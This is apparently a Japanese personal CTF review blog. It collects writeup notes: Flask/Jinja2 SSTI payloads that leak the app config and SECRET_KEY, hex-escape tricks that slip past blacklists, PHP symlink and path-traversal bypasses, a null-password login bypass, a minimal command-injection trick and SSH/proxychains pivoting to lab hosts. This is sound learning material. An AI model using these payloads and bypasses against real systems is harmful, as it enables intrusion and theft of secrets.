Flask Jinja2 url_for.__globals__ などについて(pyjail)
あらまし
HackIT CTF 2018 - Believer Case - こんとろーるしーこんとろーるぶい
CTFでurl_for.__globals__
など(PyJail
と呼ばれているっぽい)SSTI
を使ってフラグなどにアクセスする問題があるんですが、そもそも何のためにそんな変数が用意されているのか調べました。上の記事ではこんな感じでリストアップされています。
/echo?q={{self.__dict__}}
/echo?q={{url_for.__globals__.current_app.__dict__}}
/echo?q={{get_flashed_messages.__globals__.current_app.__dict__}}
/echo?q={{request._load_form_data.__globals__.current_app.__dict__}}
/echo?q={{g.get.__globals__.sys.modules.app.app.__dict__}}
/echo?q={{hoge.__init__.__globals__.sys.modules.app.app.__dict__}}
#引用元: https://qiita.com/koki-sato/items/6ff94197cf96d50b5d8f
前後のアンダースコア2つ
python
に疎いのでまずアンダースコアについて調べます。
magic method
と呼ばれるものになるそう。python
自身がオブジェクトを扱う標準プロセスで使用するものだそうで、例えば演算+
をする時__add__
が呼び出される。__add__
を書き換えておけば、+
演算をしてもその変更したメソッドが呼ばれるようになる、みたいなだと思う。今回の件とどこまで関係があるかはわかりませんが。
__globals__
と__dict__
3. Data model — Python 3.9.2 documentation
こちらリンク先のCallable types
の節で、ユーザが定義する関数に生えるSpecial attributes
として__globals__
と__dict__
が紹介されてます。関数の__dict__
はよくわかりませんが(古い投稿はあった)__globals__
はその関数が定義された名前空間の変数は見えそうですね。
__globals__
val1 = 1111 val2 = 2222 def func1(): pass print(func1.__globals__) #=>{'func1': <function func1 at 0x7f6d5d3df650>, '__builtins__': <module '__builtin__' (built-in)>, '__file__': 'test1.py', '__package__': None, 'val2': 2222, '__name__': '__main__', 'val1': 1111, '__doc__': None}
val1 = 1111 val2 = 2222 def func1(): val3 = 3333 def func2(): pass print(func2.__globals__) func1() #=>{'func1': <function func1 at 0x7fd7972de9d0>, '__builtins__': <module '__builtin__' (built-in)>, '__file__': 'test1.py', '__package__': None, 'val2': 2222, '__name__': '__main__', 'val1': 1111, '__doc__': None}
import
を使って関数を読んだ場合の挙動を確認
#testmod.py def test_mod_func(): pass val3=333
#test1.py import testmod val1 = 1111 val2 = 2222 def func1(): val3 = 3333 def func2(): pass print(testmod.test_mod_func.__globals__)
実行結果
$ python test1.py | grep val1 $ python test1.py | grep val2 $ python test1.py | grep val3 ....snip... , 'test_mod_func': <function test_mod_func at 0x7f30a9b7add0>, 'val3': 333, '__name__': 'testmod', '__package__': None, '__doc__': None}
モジュールとして読み込んだ関数経由だとそのモジュール内のものしか見えないようです。
__dict__
一方__dict__
はオブジェクトに映えているようで、例えばクラスの__dict__
にはクラス内の属性が入っているらしい。
val1=1111 val2=2222 class Test(): val3=3333 a = Test() print(Test.__dict__) #=>{'val3': 3333, '__module__': '__main__', '__doc__': None} print(a.__dict__) #=>{} print(a.val3) #=>3333 print(a.__globals__)#=>AttributeError: Test instance has no attribute '__globals__'
インスタンスにすると__dict__
が空になるのはちょっとまだ追いきれていないです。。
ので、__globals__
も__dict__
も別に特別な何かというわけではないっぽい。
テンプレートエンジンとjinja2とFlaskとSSTI
CTFでよく使われるpython
のフレームワークがFlask
でそのテンプレートエンジンがjinja2
なので、これの情報ばっかり出てくる。ので、ここでもそれを参考にいたします。
次のアプリケーションを想定
from flask import Flask, render_template_string, request app = Flask(__name__) app.secret_key = 'testtest' val1=1111 @app.route('/', methods=['GET']) def index(): return render_template_string('{{'+request.args.get('ssti')+'}}') app.run(host='localhost', port=8080)
次のペイロードをみてみる
url_for.__globals__.current_app.__dict__
API — Flask Documentation (1.1.x)
url_for
はドキュメントの通り関数のようです。
$ curl 'http://localhost:8080/?ssti=url_for.__class__' <type 'function'>
と言うことで、__globals__
も生えているはず
$ curl 'http://localhost:8080/?ssti=url_for.__globals__' {'find_package': <function find_package at 0x7f44bfd50050>, '_find_package_path': <function _find_package_path at 0x7f44bfd48f50>, 'get_load_dotenv': <function get_load_dotenv at 0x7f44..............snip
映えてました。
https://msiz07-flask-docs-ja.readthedocs.io/ja/latest/api.html#flask.current_app
Flask の session と g そしてコンテキスト | 民主主義に乾杯
次のcurrent_app
は直接app
にアクセスしないためにある変数のようです。ちゃんとは理解していませんが、app
が保持しているものを覗けそうです。説明を抜粋すると
This is only available when an application context is pushed. This happens automatically during requests and CLI commands. It can be controlled manually with app_context(). #引用:https://msiz07-flask-docs-ja.readthedocs.io/ja/latest/api.html#flask.current_app
とあるので、今回はduring requests
の箇所に該当しそうです。url_for.__globals__
で定義されたグローバル変数を覗けるので、それ経由で呼べます。
$ curl 'http://localhost:8080/?ssti=self.current_app' #=>レスポンスなし $ curl 'http://localhost:8080/?ssti=url_for.__globals__.current_app' <Flask 'test'>
最後の__dict__
は上の方で調べた通り、オブジェクト内の属性などを保持しているらしいので、これを呼べばapp
に定義した変数などを見れそう。
$ curl 'http://localhost:8080/?ssti=url_for.__globals__.current_app.__dict__' {'subdomain_matching': False, 'error_handler_spec': {None: {}}, ' ............snip................. 'DEBUG': False, 'SECRET_KEY': 'testtest', ' ............snip................. ': []}
app.secret_key = 'testtest'
ここが覗けました。フラグとか鍵とかその他設定を覗かせる問題に使えそうですね。
その他ペイロードを組み立てるなど
この記事が詳しそう Jinja2 SSTI Research - HackMD
基本的に問題では入力に対してパターンマッチなどで制限をかけてることがありそうですね。
CTFtime.org / HackIT CTF 2018 / Believer Case / Writeup
入力をGETクエリなどで受け取る場合
ブラックリストなどを作って、入力値を検証するのが良さそう。ただ
.
が禁止されているなら、url_for['__globals__']
_
が禁止されているなら、url_for['\x5f\x5fglobals\x5f\x5f']
globals
がが禁止されているなら、url_for['__\x67lobals__']
などすれば単純なチェックはすり抜けられるので、結構注意が必要
入力をパスで受け取る場合
HackIT CTF 2018 - Believer Case - こんとろーるしーこんとろーるぶい
上のサイトで紹介されているように、@app.route("/<path:template>")
みたいな感じで受け取る場合はurl_for['__\x67lobals__']
のようなasciiで指定するパターンでエラーが起こる(サーバエラー)ので、単純なブラックリストで対策できそう。
こんな形で、前者のパターンだとかなりいろんな方法で抜け道ができそうなので、注意かも。
「復習」zer0pts CTF
初めに
Writeupが読みたい方はこちらの参考リンク先の方を見ていただいた方が良いと思われます、、!
CTFtime.org / zer0pts CTF 2021 / Kantan Calc / Writeup
zer0pts CTF 2021 - Kantan Calc · Issue #22 · aszx87410/ctf-writeups · GitHub
Kantan Calc (zer0pts CTF)
最終的に次を作成することを目指す。
(function () { return (a)=>()=>(a+"")[0]})()(()=>{; /* ${FLAG} */ })()
まず関数をtoString()
をすることで、文字列として出力できる。
> function a() {} undefined > console.log(a+'') function a() {}
arguments.callee
で関数自身を呼ぶことができるので、次のようにかける
> a =(function(){return arguments.callee.toString()}) [Function: a] > a() 'function(){return arguments.callee.toString()}' > (function(){return arguments.callee.toString()})() 'function(){return arguments.callee.toString()}'
この例のカッコの使い方は次を見るとわかりやすい
> (function(){return 'test'})() 'test' > a=(function(){return 'test'}) [Function: a] > a() 'test'
()
を末尾につけることで定義した関数をすぐ呼びさせている。
次にアロー関数の解釈。
JavaScript/関数/アロー関数 [Ore Base]
安直に理解しようとするなら今回目指す形は引数を2つ取れるような書き方をしていると解釈できる。
> (function () { return (a)=>(b)=>(a+b)})() ('test')('1111') 'test1111' > (function () { return (a)=>(b)=>(a+b)})() ('test')() 'testundefined'
あとは、引数 a にフラグが含まれている部分を関数()=>{; /* ${FLAG} */ }
として渡すことで、a+''
=a.toString()
を実現し、フラグを返している。
問題ではフラグのプレフィックスが含まれているとフィルターされるので、配列として1文字ずつ返却するようにしているようです。
GuestFS:AFR (zer0pts CTF)
シンボリックリンクとファイル作成をできるサイトで、ルートにあるフラグファイルを表示させる問題。 問題のキーとなる箇所はここ
/* Target file must exist */ $this->assert_file_exists($this->root.$target); /* Create a symbolic link */ @symlink($target, $this->root.$name); /* This check ensures $target points to inside user-space */ try { $this->validate_filepath(@readlink($this->root.$name)); } catch(Exception $e) { /* Revert changes */ @unlink($this->root.$name); throw $e; }
validate_filepath
はファイルパスがルートを示していたり、..
でパストラバーサルしていないかチェックしている。
解法はまず、以下の関係のファイルとシンボリックリンクを作成
A->B
Bを削除して、A->../../../../../../flag
のシンボリックリンクを作成すると、../../../../../../flag
を指したB
が作成されて、フラグが読める。
A->B->../../../../../../flag
恐らく、A->../../../../../../flag
の処理をPHP
の関数で呼び出すと、A
が保持しているB
のパス名が読まれて、最終的にln -s ../../../../../../flag B
と同じ命令が実行されるんじゃないかなと予想。
この時B
をあらかじめ削除していければln -s ../../../../../../flag B
は存在するファイル名B
を指定しているためエラーが発生する。ので、あらかじめB
を削除する処理を挟む必要があったんじゃないかな..?
試しにphp実行
削除なしの場合
削除ありの場合
<?php // creating alink using symlink() function symlink('A', 'B'); unlink('A'); symlink('flag','B'); ?>
kali@kali:~/ctf/zero/sql/test$ ls A exp2.php exp.php flag kali@kali:~/ctf/zero/sql/test$ php exp.php kali@kali:~/ctf/zero/sql/test$ ls A B exp2.php exp.php flag kali@kali:~/ctf/zero/sql/test$ readlink A flag
<?php // creating alink using symlink() function symlink('A', 'B'); // unlink('A'); symlink('flag','B'); ?>
kali@kali:~/ctf/zero/sql/test$ php exp2.php PHP Warning: symlink(): File exists in /home/kali/ctf/zero/sql/test/exp2.php on line 6
0x41414141 CTFとjustCTF [*] 2020(復習)
- はじめに
- hackme (0x41414141 CTF)
- PDF is broken, and so is this file (justCTF [*] 2020)
- Computeration (justCTF [*] 2020)
はじめに
個人的な復習用のまとめなので、writeupを見たい方はこちらの参考サイトを見てください。
ctf/2021/0x41414141/hackme at master · ryan-cd/ctf · GitHub
Writeup: justCTF [*] 2020 - nevi.dev
CTFtime.org / justCTF [*] 2020 / Computeration / Writeup
hackme (0x41414141 CTF)
コマンドを4文字だけ実行できる中で、ルートディレクトリにあるflag.txt
を出力する問題。
# catファイルを作成 GET /?cmd=>cat # ワイルドカードでcatのファイル名を取得してコマンド実行できる GET /?cmd=*+/f*
sh<filename
とすることでファイル内のコマンドを実行することができるので、catファイルと/f*ファイルを作れば、ls>filename
で実行コマンドのファイルが作れると思ったんですが、「/
込のファイル名はだめ」「ls時のファイル並び順で制限がある」「echo
などが使えず/
単体をファイルに書き込めない」などで挫折しました。
PDF is broken, and so is this file (justCTF [*] 2020)
PDFファイルの中に隠れているフラグを見つける問題。
xref
で参照されていない9990
と`4919
オブジェクトが怪しい。binwalk
で抽出できてしまうので、マジックナンバーで4919のオブジェクトが画像ファイルだとわかる。
$binwalk -e challenge.pdf DECIMAL HEXADECIMAL DESCRIPTION -------------------------------------------------------------------------------- ... 745469 0xB5FFD Zlib compressed data, default compression ... $ xxd -r -p B5FFD | file - /dev/stdin: JPEG image data, JFIF standard 1.01, resolution (DPI), density 300x300, segment length 16, baseline, precision 8, 1182x1182, components 3 $ xxd -r -p B5FFD > flag.jpeg
B5FFD.zlib
は圧縮されているままのバージョン。B5FFD
は回答されたデータがテキストでダンプされているので、それをファイルに保存し直す。
zlibから出力
zlib-flate -uncompress
でbinwalk
に完全に頼らなくても場所がわかれば、ある程度手動でいける。zlib-flate
はqpdf
パッケージに内包。
$zlib-flate -uncompress < B5FFD.zlib | xxd -r -p - > flag.jpeg
Computeration (justCTF [*] 2020)
ReDos
の問題。対象にアクセスして応答差からフラグを予測するページを作ってadminに踏ませて解くようです。
ここのページで正規表現の動きが見える。Regex Debugger
を使うと、マッチ試行stepが算出されます。今回のシグネチャ^(?=justCTF{).*.*.*.*.*.*.*!!!$
、末尾は絶対にマッチしない文字置くとstep数が圧倒的に増えますね。
Online regex tester and debugger: PHP, PCRE, Python, Golang and JavaScript
asis ctfとHarekaze mini ctf2020 の復習(メモ)
asis ctf 2020
Less secure secrets
プロキシの設定で<secret>(.*)</secret>
に囲まれたフラグ部だけが置換されて返される問題。
Substitute s|<secret>(.*)</secret>|Protected|i
Range
ヘッダーを使用して、レスポンスの一部のみを変えさせることで、上の置換対象から外してフラグを取得する。
https://developer.mozilla.org/ja/docs/Web/HTTP/Range_requests
# レスポンスの750byteから800byte目の部分だけをレスポンスに含める。 % curl -H 'Range: bytes=750-810' https://securesecrets.asisctf.com/secret.html nt the first secret? I think it's "ASIS{L3T5_S74rT_7h3_fUn}".%
Harekaze mini ctf 2020
JWT is secure
writeupは他の方が書いているのでお任せして、正規表現マッチをすり抜ける箇所に苦労したので、そこだけメモします。
// 一部改変 private function getSecretKey($kid) { $dir = './keys' . '/' . $kid[0] . '/' . $kid[1]; $path = $dir . '/' . $kid; // no path traversal, no stream wrapper if (preg_match('/\.\.|\/\/|:/', $kid)) { throw new Exception('Hacking attempt detected'); } if (!file_exists($path) || !is_file($path)) { throw new Exception('Secret key not found'); } return file_get_contents($path); }
カレントディレクトリ配下に./keys/.htaccess
があるのでそれを$path
に指定したい状況。
シェル上では次の方法でcat
できた。
$cat ./keys/\/./\./.htaccess $cat ./keys/'/'/''.htaccess $cat ./keys/"/"/"".htaccess $cat ./keys///.//.htaccess
それに対して、実際にローカルで実行して正常にファイルを取得できた(file_exists($path)とis_file($path)でファイルを取得できた)のは次のものだけ。
file_exists('./keys///.//.htaccess ');
(シェル上から直接php
コード(file_exists(),is_file())を実行すると動作するけど、アプリを動作させて実行すると上の関数でファイルが見つからなかったりした。)
結果的にkid
に指定したのは/.htaccess
。
Avatar Viewer
Harekaze mini CTF 2020 writeup for web challs
この方のwriteupを参考にしています。
この問題の肝は認証部分。adminとしてログインできればokで、そのためにパストラバーサルで認証情報を読みたい。
# 配布された認証情報 users['guest']のようにアクセスできる { "guest": "guest", "admin-(censored)": "<censored>" }
けどその前に下のようなパスワードチェックがあるのですり抜けたい。
app.post('/login', async (request, reply) => { // snip------------------ if (!('username' in request.body && 'password' in request.body)) { request.flash('error', 'username or password is not provided'); return reply.redirect('/login'); } const { username, password } = request.body; // snip--------------------------------- if (users[username] != password) { request.flash('error', 'username or password is incorrect'); return reply.redirect('/login'); } request.session.set('username', username); reply.redirect('/profile'); });
users[username] != password
ここが通ればあとはよしなにできる。結果として、ログインリクエストで下のようなJSON
を投げると
{ "username": "hoge", "password": null }
undefined != undefined
の比較になるので、認証をすり抜けられるとのことでした。
チェック
users = {'guest':'guest','admin':'admin'} console.log(users['hoge']) console.log(null) if (users['hoge']==null) console.log('matched')
result
undefined null matched
参考
proxychains bashでちょっと楽に
まえがき
proxychains bash
でbash
を立ち上げれは、いちいちオプションを設定せずともコマンド実行時にこの経路を通ってくれるという話を小耳に挟んだので試します。proxychains
自体は設定済みの前提で進めます。
構成&下準備
Mac内で動いているVM(kali)からMacの先Hacktheboxのマシンに繋ぎます。もちろん、何もしなければKaliからHTBのマシンには届きません。
手っ取り早く準備できたのがこの構成なので、この構成自体には特に意味はないです。
mac@MacBook-Pro Desktop % sudo openvpn hoge.ovpn ...
Macからマシンへcurl
で繋いでみます。
mac@MacBook-Pro ~ % curl http://10.10.10.6/ <html><body><h1>It works!</h1> <p>This is the default web page for this server.</p> <p>The web server software is running but no content has been added, yet.</p> </body></html>
kaliからは繋がりません。
kali@kali:~$ curl http://10.10.10.6/ curl: (7) Couldn't connect to server
Dynamic Port Forward
kali
->Mac
でポートフォワード。proxychains
でsocks5 127.0.0.1 1080
の設定になっています。
skali@kali:~$ sudo ssh -N -D 127.0.0.1:1080 mac@172.16.134.1
これでcurl
時にsocks5
を指定すれば、hackthebox
のマシンに繋がります。
kali@kali:~$ curl --socks5 127.0.0.1:1080 http://10.10.10.6/ <html><body><h1>It works!</h1> <p>This is the default web page for this server.</p> <p>The web server software is running but no content has been added, yet.</p> </body></html>
ここまでは通常。これだといろんなコマンドで毎回proxychains
だのsocks5
だのを書かなきゃいけない気がする。
proxychains bash
proxychains bash
で立ち上げたシェルからコマンドを打つと自動的にproxychains
で指定されているプロキシサーバーを経由してくれるとのこと。
kali@kali:~$ proxychains bash ProxyChains-3.1 (http://proxychains.sf.net) kali@kali:~$ curl http://10.10.10.6/ |S-chain|-<>-127.0.0.1:1080-<><>-10.10.10.6:80-<><>-OK <html><body><h1>It works!</h1> <p>This is the default web page for this server.</p> <p>The web server software is running but no content has been added, yet.</p> </body></html>
おお本当ですね。
kali@kali:~$ nmap --top-ports 10 10.10.10.6 Starting Nmap 7.91 ( https://nmap.org ) at 2020-12-09 08:46 EST |S-chain|-<>-127.0.0.1:1080-<><>-10.10.10.6:80-<><>-OK |S-chain|-<>-127.0.0.1:1080-<><>-10.10.10.6:3389-<--timeout ... PORT STATE SERVICE 21/tcp closed ftp 22/tcp open ssh 23/tcp closed telnet 25/tcp closed smtp 80/tcp open http 110/tcp closed pop3 139/tcp closed netbios-ssn 443/tcp closed https 445/tcp closed microsoft-ds 3389/tcp closed ms-wbt-server
Nmap
もプロキシを指定せずにいけました。場合によっては便利かもです。
余談
当然UDPは現状プロキシを経由しないので、pingとかスキャンなどはその辺りを忘れないようにしないと、ぽかミスしそうです。